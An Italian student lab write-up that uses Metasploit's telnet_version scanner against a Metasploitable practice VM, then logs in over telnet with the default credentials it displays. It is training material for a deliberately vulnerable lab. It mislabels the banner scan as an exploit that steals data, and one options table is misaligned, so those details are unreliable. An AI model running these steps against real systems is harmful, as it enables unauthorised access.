

# EXPLOIT TELNET CON METASPLOIT

## TASK



### Traccia:

Sulla base dell'esercizio visto in lezione teorica, utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet\_version sulla macchina Metasploitable.

**Requisito:** Seguire gli step visti in lezione teorica. Prima, configurate l'ip della vostra Kali con 192.168.1.25 e l'ip della vostra Metasploitable con 192.168.1.40.

## ANALISI E VALUTAZIONI

La prima cosa da fare è la configurazione degli indirizzi IP delle due macchine. Gli IP address di entrambi saranno i seguenti:

MACHINE	IP ADDRESS
Kali	192.168.1.25
Metasploitable	192.168.1.40

Successivamente avviamo Metasploit con il comando da terminale:

***msfconsole***

```
# cowsay++() Esercizio 1 - Metasploit

< metasploit >

      /\      (oo)\_____)
     (____\  (__)\       )\/\
    ||----w |  ||----w |
    Home      Libera!      Baldweek!

      =[ metasploit v6.2.9-dev
+ -- --=[ 2230 exploits - 1177 auxiliary - 398 post
+ -- --=[ 867 payloads - 45 encoders - 11 nops
+ -- --=[ 9 evasion

Metasploit tip: When in a module, use back to go
back to the top level prompt

msf6 > search telnet
```

Dopo essere apparsa la schermata di benvenuto andiamo a cercare l'exploit che a noi interessa ovvero telnet della porta 23, quindi immettiamo

### *search telnet*

```
29 auxiliary/scanner/telnet/telnet_ruggedcom
30 auxiliary/scanner/telnet/satel_cmd_exec
31 exploit/solaris/telnet/ttyprompt
32 exploit/solaris/telnet/fuser
33 exploit/linux/http/tp_link_sc2020n_authenticated_telnet_injection
34 auxiliary/scanner/telnet/telnet_login
35 auxiliary/scanner/telnet/telnet_version
36 auxiliary/scanner/telnet/telnet_encrypt_overflow
37 payload/cmd/unix/bind_busybox_telnetd
38 payload/cmd/unix/reverse
39 payload/cmd/unix/reverse_ssl_double_telnet
40 payload/cmd/unix/reverse_bash_telnet_ssl
41 exploit/linux/ssh/vyos_restricted_shell_privesc
42 post/windows/gather/credentials/mremote
```

Tra i vari risultati ottenuti scegliamo quello che a noi interessa per sfruttare la vulnerabilità di sniffare la comunicazione e rubare dati sensibili.

Pertanto scegliamo il n.35 come indicato nell'immagine.

Per selezionare l'exploit utilizziamo il comando

### *use 35*

```
msf6 > use 35
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

  Name      Current Setting  Required  Description
  ---      -
  PASSWORD  RHOSTS          yes       The password for the specified username
  RHOSTS    RPORT           yes       The target host(s), see https://github.com
  RPORT     23              yes       The target port (TCP)
  THREADS   1               yes       The number of concurrent threads (max on
  TIMEOUT   30              yes       Timeout for the Telnet probe
  USERNAME  USERNAME        no        The username to authenticate as

msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
```

Successivamente andiamo a visionare l'exploit con il comando **"show options"**. Come si può notare abbiamo bisogno di settare l'IP della macchina da attaccare (RHOSTS) e per farlo usiamo il comando **"set RHOSTS 192.168.1.40"**. Dopo averlo fatto ci apparirà l'hosts settato (vedi ultimo cerchietto rosso).

Facciamo una verifica per vedere se è stato settato l'host, sempre con il comando **"show options"**

```
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

  Name      Current Setting  Required  Description
  ---      -
  PASSWORD  192.168.1.40    yes       The password for the specified username
  RHOSTS    192.168.1.40    yes       The target host(s), see https://github.com/rapid7/me
  RPORT     23              yes       The target port (TCP)
  THREADS   1               yes       The number of concurrent threads (max one per host)
  TIMEOUT   30              yes       Timeout for the Telnet probe
  USERNAME  USERNAME        no        The username to authenticate as
```

La particolarità è che questo exploit non ha bisogno di un payload quindi possiamo già passare alla fase di exploit.

## FASE DI EXPLOIT:

Passiamo alla fase di Exploit con il comando “**exploit**”

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit
[*] 192.168.1.40:23 - 192.168.1.40:23 TELNET
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Come si può vedere da ultima riga il modulo di esecuzione è stato completato correttamente. Pertanto non ci resta che aprire la connessione con il comando

***telnet 192.168.1.40***

```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.40
[*] exec: telnet 192.168.1.40

Trying 192.168.1.40 ...
Connected to 192.168.1.40.
Escape character is '^]'.

metasploitable

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Dec  6 04:12:25 EST 2022 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
```

La connessione è stata instaurata e come si può vedere dall'immagine la grafica è proprio la stessa di meta e ci fornisce infatti anche user e password.

Possiamo fare un ultimo test per vedere se abbiamo i privilegi da root con il comando

***Id***

```
msfadmin@metasploitable:~$ id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
```